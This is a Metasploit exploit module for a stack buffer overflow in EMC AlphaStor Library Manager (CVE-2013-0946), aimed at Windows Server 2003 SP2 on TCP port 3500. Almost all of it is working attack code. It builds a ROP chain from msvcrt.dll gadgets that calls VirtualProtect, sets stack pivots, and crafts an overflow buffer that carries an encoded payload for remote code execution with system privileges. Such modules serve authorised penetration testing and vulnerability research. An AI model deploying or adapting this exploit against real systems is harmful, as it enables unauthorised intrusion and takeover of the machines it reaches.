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require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'EMC AlphaStor Library Manager Opcode 0x4f', 'Description'=> %q{ This module exploits a stack based buffer overflow found in EMC Alphastor Library Manager version < 4.0 build 910. The overflow is triggered due to a lack of sanitization of the pointers used for two strcpy functions. }, 'Author' => [ 'james fitts' ], 'License'=> MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-029/' ], [ 'CVE', '2013-0946' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'wfsdelay' => 1000 }, 'Privileged' => true, 'Payload'=> { 'Space' => 160, 'DisableNops' => 'true', 'BadChars' => "\x00\x09\x0a\x0d", 'StackAdjustment' => -404, 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'Compat'=> { 'SymbolLookup' => 'ws2ord', }, }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows Server 2003 SP2 EN', { # msvcrt.dll # add esp, 0c/ retn 'Ret' => 0x77bdda70, } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Feb 13 2014')) register_options( [ Opt::RPORT(3500) ], self.class ) end def exploit connect p ="\x90" * 8 p << payload.encoded # msvcrt.dll # 96 bytes rop = [ 0x77bb2563, # pop eax/ retn 0x77ba1114, # ptr to kernel32!virtualprotect 0x77bbf244, # mov eax, dword ptr [eax]/ pop ebp/ retn 0xfeedface, 0x77bb0c86, # xchg eax, esi/ retn 0x77bc9801, # pop ebp/ retn 0x77be2265, 0x77bb2563, # pop eax/ retn 0x03C0990F, 0x77bdd441, # sub eax, 3c0940fh/ retn 0x77bb48d3, # pop eax/ retn 0x77bf21e0, 0x77bbf102, # xchg eax, ebx/ add byte ptr [eax], al/ retn 0x77bbfc02, # pop ecx/ retn 0x77bef001, 0x77bd8c04, # pop edi/ retn 0x77bd8c05, 0x77bb2563, # pop eax/ retn 0x03c0984f, 0x77bdd441, # sub eax, 3c0940fh/ retn 0x77bb8285, # xchg eax, edx/ retn 0x77bb2563, # pop eax/ retn 0x90909090, 0x77be6591, # pushad/ add al, 0efh/ retn ].pack("V*") buf = Rex::Text.pattern_create(514) buf[0, 2] ="O~" # opcode buf[13, 4] = [0x77bdf444].pack('V') # stack pivot 52 buf[25, 4] = [target.ret].pack('V') # stack pivot 12 buf[41, 4] = [0x77bdf444].pack('V') # stack pivot 52 buf[57, 4] = [0x01167e20].pack('V') # ptr buf[69, rop.length] = rop buf[165, 4] = [0x909073eb].pack('V') # jmp $+117 buf[278, 4] = [0x0116fd59].pack('V') # ptr buf[282, p.length] = p buf[512, 1] = "\x00" # junk buf << "AAAA" buf << "BBBB" buf << "CCCC" buf << "DDDD" print_status("Trying target %s..." % target.name) sock.put(buf) handler disconnect end end |
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